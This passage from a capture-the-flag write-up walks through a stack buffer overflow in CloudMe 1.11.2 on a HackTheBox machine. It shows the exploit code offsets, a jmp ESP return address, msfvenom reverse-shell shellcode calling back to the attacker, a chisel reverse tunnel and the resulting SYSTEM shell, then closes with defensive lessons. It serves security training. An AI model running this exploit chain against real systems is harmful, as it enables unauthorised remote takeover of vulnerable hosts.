b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

payload = before_eip + eip + badchars

def makeConnection():

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_address, 8888))
        s.send(payload)

if __name__ == '__main__':

        makeConnection()

After sending, we find where those 256 bytes landed in the debugger. Right-clicking the ESP register and choosing Follow in Dump takes the dump straight to the start of the block:

the ESP register's context menu with Follow in Dump selected, and the lower dump showing the sequence 00 01 02 03 04 05 06 07 from 0022D470

0022D470   00 01 02 03 04 05 06 07
0022D478   08 09 0A 0B 0C 0D 0E 0F
0022D480   10 11 12 13 14 15 16 17

That address is what we hand mona to compare memory against the original file:

!mona compare -a 0x0022D470 -f C:\Users\usuario\Downloads\Analysis\bytearray.bin

mona's results window shows address 0x0022d470 with status Unmodified and an empty BadChars column

mona Memory comparison results
  Address     Status      BadChars   Type
  0x0022d470  Unmodified             normal

Unmodified and an empty bad-chars column: no byte is altered along the way. Even so, \x00 will be excluded when generating the shellcode, because it is C's string terminator and causes trouble the moment any copy function is involved.

Redirecting the flow: jmp ESP

We control the EIP and we know the shellcode will end up where ESP points. What is missing is joining the two, and simply putting ESP's address in there will not do: it changes on every run. The classic solution is to find an existing jmp ESP instruction in the process's memory and point EIP at it; whatever ESP holds at that moment, the jump lands where it should.

That instruction has to live in a module without protections: with ASLR or Rebase its address changes between runs and the exploit stops being reliable. !mona modules lists them all with their flags:

!mona modules

mona modules' table with the process's DLLs; the ones from CloudMe's folder show Rebase, SafeSEH, ASLR and NXCompat as False, with the Qt5Core.dll row highlighted

0x6a80000 | 0x6905000 | False False False False False False | 5.9.0.0 [Qt5Core.dll]
   (C:\Users\usuario\AppData\Local\Programs\CloudMe\Qt5Core.dll)
0x6770000 | 0x7716000 | True  True  True  True  True  True  | 7.0.7600.16385 [msvcrt.dll]
   (C:\Windows\system32\msvcrt.dll)

The pattern jumps out: the system DLLs have everything enabled and the ones CloudMe ships have everything disabled. Its own are the useful ones. On one of them, qsqlite.dll, we search for jmp ESP opcodes, which on x86 are always the two bytes \xff\xe4:

!mona find -s "\xff\xe4" -m qsqlite.dll

mona finds four \xff\xe4 pointers in qsqlite.dll, all with PAGE_EXECUTE_WRITECOPY and ASLR, Rebase and SafeSEH False

[+] Results :
 6D619117  0x6d619117 : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll] ASLR: False, Rebase: False, SafeSEH: False
 6D62129B  0x6d62129b : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll] ASLR: False, Rebase: False, SafeSEH: False
 6D62341B  0x6d62341b : "\xff\xe4" | asciiprint,ascii {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll]
 6D629E17  0x6d629e17 : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll]
    Found a total of 4 pointers

Four candidates, all with execute permission (PAGE_EXECUTE_*), which is essential: without it the CPU refuses to run whatever sits there. We take the first, 0x6d619117. Since x86 is little endian, in the exploit it is written with the bytes reversed: \x17\x91\x61\x6d.

Before trusting it we set a breakpoint, to see whether execution really reaches that instruction. We navigate to the address with Ctrl+G:

Immunity's Enter expression to follow dialog with the address 0x6d619117 typed in

Enter expression to follow
  0x6d619117

the 6D619117 FFE4 JMP ESP line highlighted in the disassembler, ready for F2 to set the breakpoint

6D619117   FFE4   JMP ESP

There it is, exactly where mona said. We swap the exploit's b"B"*4 for the address:

cat exploit.py
python3 exploit.py

the exploit.py with eip = b"\x17\x91\x61\x6d" annotated as the new little-endian value, followed by the badchars block

ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"\x17\x91\x61\x6d"

after the send, Immunity's EIP shows 6D619117 qsqlite.6D619117 and execution has stopped at the JMP ESP

EBX 41414141
ESP 0022AB50
EIP 6D619117  qsqlite.6D619117

The EIP is no longer garbage: it holds the address of the jmp ESP inside qsqlite.dll, and the debugger has stopped at the breakpoint. Execution is where we wanted it, and whatever sits in ESP is what runs next.

Shellcode: from the halt to control

That gap gets filled by msfvenom with a reverse shell, excluding \x00:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.80 LPORT=4444 --platform windows -a x86 -f c -b "\x00"

msfvenom encodes with x86/shikata_ga_nai and returns 351 bytes of shellcode in C format

Found 11 compatible encoders
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xb8\x62\x28\xa1\x71\xdd\xc4\xd9\x74\x24\xf4\x5a\x29\xc9"
...

Between the jump address and the shellcode we slot in a cushion of NOPs (\x90, the instruction that does nothing). It is not superstition: encoders like shikata_ga_nai decode themselves at runtime and need a few bytes of headroom to do it without stepping on themselves. The final structure is "A"*1052 + jmp_esp + NOPs + shellcode, and against the lab it works:

python3 exploit.py
sudo rlwrap nc -nlvp 4444
whoami

the exploit.py with the 16 NOPs and shellcode wired in, and on the right the listener catching the Windows 7 shell as win-l3dih73as4r\usuario

nops = b"\x90"*16
payload = before_eip + eip + nops + shellcode

listening on [any] 4444 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.203] 49544
Microsoft Windows [Versión 6.1.7600]

C:\Users\usuario\AppData\Local\Programs\CloudMe\CloudMe>whoami
win-l3dih73as4r\usuario

Development is done. Now it has to move to the real box.

From the lab to the victim

Two changes. First, the shellcode: the lab one called back to 192.168.1.80, so it gets regenerated pointing at the HTB attacker, this time with EXITFUNC=thread so that ending the shell does not take the whole CloudMe service down with it:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 --platform windows -a x86 -f c EXITFUNC=thread -b "\x00"

msfvenom generates the final shellcode to 10.10.16.2:443 with EXITFUNC=thread, another 351 bytes

x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xbe\xe9\xf9\x0d\xd4\xda\xc7\xd9\x74\x24\xf4\x5a\x29\xc9"
...

The second change is less obvious: the lab's jmp ESP address does not work against the victim.

sudo nano exploit.py
cat exploit.py

the final exploit with eip = b"\x7b\x8a\xa9\x68", the 16 NOPs and the new shellcode

ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"\x7b\x8a\xa9\x68"
nops = b"\x90"*16
#sub_esp = b"\x83\xEC\x10"

The exact cause cannot be asserted without debugging the real box (not possible here), but the hint points at the page's permissions: the four pointers mona found in the lab all sat in PAGE_EXECUTE_WRITECOPY, whereas the new address, 0x68a98a7b, falls in the same range as the public PoC's 0x68a842b5, that is, in another of the modules CloudMe ships. The practical lesson is the one that repeats across exploit development: the return address is the first thing to revisit when an exploit that used to work stops working.

What remains is the usual, reaching the victim's 127.0.0.1:8888. Same tunnel as in the lab, but now the binary is windows_amd64 (the victim is 64-bit) and it has to be uploaded:

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz &>/dev/null; ls
gunzip chisel_1.7.7_windows_amd64.gz &>/dev/null
mv chisel_1.7.7_windows_amd64 chisel.exe
python3 -m http.server 8080
curl http://10.10.16.2:8080/chisel.exe -o chisel.exe
dir

the wget, gunzip and mv of chisel on the attacker, the http.server logging GET /chisel.exe and the victim's dir showing the 8,230,912-byte chisel.exe in C:\Windows\Temp\privesc

# ls -la | grep chisel
-rw-r--r-- 1 root root 8230912 Jan 31  2022 chisel.exe

# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.10.198 - - [04/Sep/2025 14:40:18] "GET /chisel.exe HTTP/1.1" 200 -

C:\Windows\Temp\privesc>dir
04/09/2025  13:40         8,230,912 chisel.exe
# attacker
chisel server --reverse -p 1234
chisel.exe client 10.10.16.2:1234 R:8888:127.0.0.1:8888

chisel sets up the reverse tunnel: the server announces proxy#R:8888=&gt;8888 Listening and the victim's client reports Connected

2025/09/04 14:42:17 server: Reverse tunnelling enabled
2025/09/04 14:42:17 server: Fingerprint 90q0ww41xHo6dCXV/Hmp0EbaXDZDS3/pL6Kry/Btqok=
2025/09/04 14:42:17 server: Listening on http://0.0.0.0:1234
2025/09/04 14:47:00 server: session#1: tun: proxy#R:8888⇒8888: Listening

C:\Windows\Temp\privesc>chisel.exe client 10.10.16.2:1234 R:8888:127.0.0.1:8888
2025/09/04 13:47:00 client: Connecting to ws://10.10.16.2:1234
2025/09/04 13:47:01 client: Connected (Latency 104.4591ms)

With the tunnel up, the exploit still targets 127.0.0.1:8888, which now exits through the tunnel towards CloudMe on the victim. And since the service runs under the system account, the shell that comes back is not shaun's:

python3 exploit.py
sudo rlwrap nc -nlvp 443

the exploit fired through the tunnel returns a shell in C:\Windows\system32 that reads root.txt from Administrator's desktop

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.198] 49905
Microsoft Windows [Version 10.0.17134.1610]

C:\Windows\system32>cd C:\Users
C:\Users>dir
20/07/2025  12:08    <DIR>          Administrator
16/06/2020  15:08    <DIR>          Public
16/06/2020  15:11    <DIR>          shaun

C:\Users\Administrator\Desktop>type root.txt
9d073d77af609f73aaabfb71aec7ef93

Attack chain

Gym Management Software 1.0 (:8080)
   │  unauthenticated upload: .php.png webshell (PNG magic bytes + Content-Type)
   ▼
RCE as shaun  →  nc.exe over SMB  →  user.txt
   │  winPEAS → CloudMe 1.11.2 on 127.0.0.1:8888 (loopback)
   ▼
Win7 lab: offset 1052 → bad chars (none) → jmp ESP → shellcode
   │  chisel: reverse tunnel R:8888:127.0.0.1:8888
   ▼
exploit to 127.0.0.1:8888  →  NT AUTHORITY\SYSTEM  →  root.txt

Lessons learned

  • Validating images by magic bytes and Content-Type is not enough. A .php.png webshell with a PNG header beats both checks; serve uploads from a folder without execution and validate the real extension (upload to RCE).
  • The public exploit is documentation, not a shortcut. Reading 48506.py before firing it is what explains why the double extension works, and reading 48389.py without using it gives a control to verify our own numbers against. Copy-pasting would have owned the box just the same, and taught nothing.
  • A service on loopback is not a safe service. CloudMe only listened on 127.0.0.1, but with a local shell and a tunnel (chisel) it becomes reachable. The real defence is patching and not running vulnerable software, not trusting that "it can't be seen from outside".
  • Replicating the target in your own lab is half the work. Debugging against production takes the service down on every attempt; installing CloudMe 1.11.2 on a Windows 7 box allowed unlimited iteration. The price is that what you measure in the lab does not always carry over, as the return address proved.
  • Stack overflows are still alive in desktop software. CloudMe 1.11.2 loaded its own DLLs without ASLR, Rebase or SafeSEH, while the system ones had everything on: a jmp ESP in one of them was enough. Compiling with DEP/ASLR/stack canaries cuts the vector.
Command cheatsheet 22 commands

Quick review